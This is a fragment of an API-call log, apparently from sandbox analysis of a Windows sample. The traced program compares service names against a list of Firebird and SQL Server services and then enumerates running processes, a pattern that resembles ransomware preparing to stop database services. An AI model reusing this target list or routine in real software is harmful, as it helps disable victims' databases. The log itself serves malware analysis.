	[0088.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0088.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0088.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0088.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0088.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0088.037] lstrlenW (lpString="ProfSvc") returned 7
	[0088.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0088.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0088.037] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0088.037] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0088.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0088.493] lstrlenW (lpString="RpcEptMapper") returned 12
	[0088.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0088.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0088.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0088.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0088.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0088.493] lstrlenW (lpString="RpcSs") returned 5
	[0088.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0088.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0088.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0088.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0088.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0088.493] lstrlenW (lpString="SamSs") returned 5
	[0088.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0088.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0088.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0088.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0088.494] lstrlenW (lpString="Schedule") returned 8
	[0088.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0088.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0088.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0088.494] lstrlenW (lpString="SecurityHealthService") returned 21
	[0088.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0088.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0088.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0088.494] lstrlenW (lpString="SENS") returned 4
	[0088.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0088.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0088.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0088.494] lstrlenW (lpString="ShellHWDetection") returned 16
	[0088.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0088.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0088.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0088.494] lstrlenW (lpString="Spooler") returned 7
	[0088.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0088.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0088.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0088.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0088.494] lstrlenW (lpString="SSDPSRV") returned 7
	[0088.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0088.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0088.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0088.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0088.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0088.495] lstrlenW (lpString="StateRepository") returned 15
	[0088.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0088.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0088.495] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0088.495] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0088.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0088.495] lstrlenW (lpString="SysMain") returned 7
	[0088.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0088.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0088.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0088.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0088.495] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x31936f0 | out: hHeap=0x500000) returned 1
	[0088.700] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380
	[0088.711] Process32FirstW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0088.712] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0088.712] lstrlenW (lpString="System") returned 6
	[0088.712] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0088.713] lstrlenW (lpString="smss.exe") returned 8
	[0088.713] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0088.713] lstrlenW (lpString="csrss.exe") returned 9
	[0088.713] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0088.714] lstrlenW (lpString="wininit.exe") returned 11
	[0088.714] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0088.714] lstrlenW (lpString="csrss.exe") returned 9
	[0088.715] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0088.715] lstrlenW (lpString="winlogon.exe") returned 12
	[0088.715] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0088.716] lstrlenW (lpString="services.exe") returned 12
	[0088.716] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0088.716] lstrlenW (lpString="lsass.exe") returned 9
	[0088.716] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.717] lstrlenW (lpString="svchost.exe") returned 11
	[0088.717] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0088.717] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0088.717] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0088.718] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0088.718] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.718] lstrlenW (lpString="svchost.exe") returned 11
	[0088.718] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0088.719] lstrlenW (lpString="dwm.exe") returned 7
	[0088.719] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.719] lstrlenW (lpString="svchost.exe") returned 11
	[0088.719] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.720] lstrlenW (lpString="svchost.exe") returned 11
	[0088.720] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.721] lstrlenW (lpString="svchost.exe") returned 11
	[0088.721] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.721] lstrlenW (lpString="svchost.exe") returned 11
	[0088.721] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.722] lstrlenW (lpString="svchost.exe") returned 11
	[0088.722] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.722] lstrlenW (lpString="svchost.exe") returned 11
	[0088.722] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.723] lstrlenW (lpString="svchost.exe") returned 11
	[0088.723] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.723] lstrlenW (lpString="svchost.exe") returned 11
	[0088.723] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.724] lstrlenW (lpString="svchost.exe") returned 11
	[0088.724] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.724] lstrlenW (lpString="svchost.exe") returned 11
	[0088.724] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0088.725] lstrlenW (lpString="spoolsv.exe") returned 11
	[0088.725] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.726] lstrlenW (lpString="svchost.exe") returned 11
	[0088.726] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0088.726] lstrlenW (lpString="audiodg.exe") returned 11
	[0088.726] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0088.727] lstrlenW (lpString="sihost.exe") returned 10
	[0088.727] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.727] lstrlenW (lpString="svchost.exe") returned 11
	[0088.727] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0088.728] lstrlenW (lpString="taskhostw.exe") returned 13
	[0088.728] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0088.728] lstrlenW (lpString="explorer.exe") returned 12
	[0088.728] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0088.729] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0088.729] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0088.729] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0088.729] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0088.730] lstrlenW (lpString="Memory Compression") returned 18
	[0088.730] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0088.731] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0088.731] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0088.731] lstrlenW (lpString="SearchUI.exe") returned 12
	[0088.731] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0088.732] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0088.732] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0088.732] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0088.732] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0088.733] lstrlenW (lpString="fur-hold.exe") returned 12
	[0088.733] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0088.733] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0088.733] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0088.734] lstrlenW (lpString="vat.exe") returned 7
	[0088.734] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0088.734] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0088.734] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0088.949] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0088.949] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0088.949] lstrlenW (lpString="paxiltried.exe") returned 14
	[0088.949] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0088.950] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0088.950] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0088.951] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0088.951] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0088.951] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0088.951] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0088.952] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0088.952] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0088.952] lstrlenW (lpString="ride_australian.exe") returned 19
	[0088.952] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0088.953] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0088.953] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0088.953] lstrlenW (lpString="rc remember.exe") returned 15
	[0088.953] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0088.954] lstrlenW (lpString="records replace.exe") returned 19
	[0088.954] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0088.954] lstrlenW (lpString="isp physiology.exe") returned 18
